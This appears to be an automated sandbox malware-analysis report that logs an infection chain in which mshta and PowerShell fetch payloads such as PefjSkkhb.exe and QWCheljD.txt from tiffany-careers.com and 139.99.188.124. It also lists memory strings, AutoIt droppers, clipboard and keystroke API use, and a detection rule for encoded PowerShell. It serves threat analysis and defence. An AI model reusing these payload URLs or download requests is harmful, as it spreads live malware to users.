Source: global trafficHTTP traffic detected: GET /HA_19-12NGHEP_anh HTTP/1.1Accept: */*Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tiffany-careers.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /New_2025.webp HTTP/1.1Host: tiffany-careers.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /PefjSkkhb.exe HTTP/1.1Host: tiffany-careers.com
Source: global trafficHTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: GET /kiiMf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 139.99.188.124Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /QWCheljD.txt HTTP/1.1Host: 139.99.188.124Connection: Keep-Alive
Source: global trafficDNS traffic detected: DNS query: tiffany-careers.com
Source: global trafficDNS traffic detected: DNS query: bzib.nelreports.net
Source: global trafficDNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global trafficDNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global trafficDNS traffic detected: DNS query: nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs
Source: unknownHTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0B078000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0C1B4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://139.99.188.124
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0B078000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://139.99.188.124/QWCheljD.txt
Source: PefjSkkhb.exe, 00000012.00000002.1598905684.000001C1375E2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://139.99.188.124/kiiMfHi
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0C1B4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://139.99.H
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: powershell.exe, 00000009.00000002.1647096807.0000024F7AC50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoft~
Source: powershell.exe, 00000005.00000002.1404964086.000001F6EC8F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.v
Source: svchost.exe, 00000008.00000002.2613660225.0000013311284000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1430460995.0000013311400000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000009.00000002.1596053315.0000024F72A8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0C842000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0C6CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.1398818179.000001F680094000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1548044895.0000024F62A21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0AE51000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0C4AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0C6CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000000.1655427947.0000000000399000.00000002.00000001.01000000.00000010.sdmp, SwiftWrite.pif, 0000001F.00000000.1789384786.0000000000DE9000.00000002.00000001.01000000.00000011.sdmpString found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: powershell.exe, 00000005.00000002.1398818179.000001F68005D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1398818179.000001F680047000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1548044895.0000024F62A21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0AE51000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
Source: offscreendocument_main.js.13.drString found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/mathjax/
Source: powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
Source: svchost.exe, 00000008.00000003.1430460995.0000013311433000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000008.00000003.1430460995.0000013311400000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0C6CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0BF94000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
Source: mshta.exe, 00000006.00000003.1656420097.000002373D762000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1670150384.000002373D762000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1690678814.000002373D762000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com
Source: powershell.exe, 00000009.00000002.1596053315.0000024F72A8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0C842000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0C4AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.org
Source: powershell.exe, 00000019.00000002.1664261404.0000026D0C4AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000009.00000002.1548044895.0000024F62C4A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com
Source: mshta.exe, 00000006.00000002.1690678814.000002373D762000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/
Source: mshta.exe, 00000006.00000002.1689462796.000002373D6F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689206504.000002373D6D9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692734044.0000023F441B0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1670150384.000002373D798000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1690836337.000002373D798000.00000004.00000020.00020000.00000000.sdmp, nTyPEbq9wQ.lnkString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anh
Source: mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anh#%G
Source: powershell.exeString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anh$global:?
Source: mshta.exe, 00000006.00000003.1670459856.0000023F40251000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1691564346.0000023F40251000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anh...e
Source: mshta.exe, 00000006.00000003.1656620086.0000023F402C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692048779.0000023F402C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1664804605.0000023F402C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1661852366.0000023F402C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anh...y6
Source: mshta.exe, 00000006.00000002.1692734044.0000023F441B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anh1
Source: mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anh5%U
Source: mshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anh7
Source: mshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687720144.000002373D6F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D6F3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhA-PCUSERDOMAIN_ROAMIN
Source: powershell.exe, 00000005.00000002.1402626568.000001F6EA95E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhB
Source: mshta.exe, 00000006.00000003.1656420097.000002373D798000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689128615.000002373D6B0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687434395.000002373D798000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1670150384.000002373D798000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1690836337.000002373D798000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhC:
Source: mshta.exe, 00000006.00000002.1690879846.000002373D7E0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhH
Source: powershell.exe, 00000005.00000002.1404551947.000001F6EABB0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhIT
Source: mshta.exe, 00000006.00000002.1691021357.000002373D860000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhLAPP
Source: mshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D726000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhN
Source: mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhN%
Source: mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhR%8
Source: mshta.exe, 00000006.00000002.1692881727.0000023F45918000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1686839904.0000023F45918000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhX
Source: mshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhYYC:
Source: mshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687720144.000002373D6F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D6F3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhd
Source: mshta.exe, 00000006.00000002.1692881727.0000023F45918000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1686839904.0000023F45918000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhdll
Source: powershell.exe, 00000005.00000002.1402626568.000001F6EA95E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1398818179.000001F6804A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhh
Source: mshta.exe, 00000006.00000003.1672606229.0000023F45AC5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhhttps://tiffany-careers.com/HA_19-12NGHEP_anh
Source: mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhk%?
Source: mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhk=7
Source: mshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D726000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhocal
Source: mshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687720144.000002373D6F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D6F3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhows
Source: powershell.exe, 00000005.00000002.1398818179.000001F680001000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhp
Source: mshta.exe, 00000006.00000002.1692881727.0000023F458FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1686839904.0000023F458FF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhweLMEM
Source: powershell.exe, 00000005.00000002.1404964086.000001F6EC97F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/HA_19-12NGHEP_anhx
Source: powershell.exe, 00000009.00000002.1548044895.0000024F62C4A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/New_2025.webp0
Source: powershell.exe, 00000009.00000002.1548044895.0000024F62ECF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://tiffany-careers.com/PefjSkkhb.exep
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.globalsign.com/repository/0
Source: Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.globalsign.com/repository/06
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49787
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49786
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49785
Source: unknownNetwork traffic detected: HTTP traffic on port 49676 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49704 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49789 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49785 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49803 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49776 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49799 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49791 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49735
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49778
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49777
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49776
Source: unknownNetwork traffic detected: HTTP traffic on port 49675 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49775
Source: unknownNetwork traffic detected: HTTP traffic on port 49946 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49777 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49798 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49803
Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49790 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
Source: unknownNetwork traffic detected: HTTP traffic on port 49674 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49787 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49793 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49797 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49778 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49799
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49798
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49797
Source: unknownNetwork traffic detected: HTTP traffic on port 49673 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49796
Source: unknownNetwork traffic detected: HTTP traffic on port 49677 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49793
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49792
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49791
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49790
Source: unknownNetwork traffic detected: HTTP traffic on port 49786 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49796 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49775 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49704
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49946
Source: unknownNetwork traffic detected: HTTP traffic on port 49792 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49789
Source: unknownHTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.9:49722 version: TLS 1.2
Source: unknownHTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.9:49735 version: TLS 1.2
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BD0D24 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,18_2_00007FF697BD0D24
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BD0D24 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,18_2_00007FF697BD0D24
Source: C:\Users\Public\Guard.exeCode function: 27_2_00344830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,27_2_00344830
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D94830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,31_2_00D94830
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BD0A6C OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,18_2_00007FF697BD0A6C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BB7E64 GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,18_2_00007FF697BB7E64
Source: C:\Users\Public\Guard.exeCode function: 27_2_0035D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,27_2_0035D164
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00DAD164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,31_2_00DAD164

System Summary

barindex
Source: Process Memory Space: powershell.exe PID: 1820, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: powershell.exe, 00000009.00000002.1596053315.0000024F72C8E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_1c4a3159-8
Source: powershell.exe, 00000009.00000002.1596053315.0000024F72C8E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: 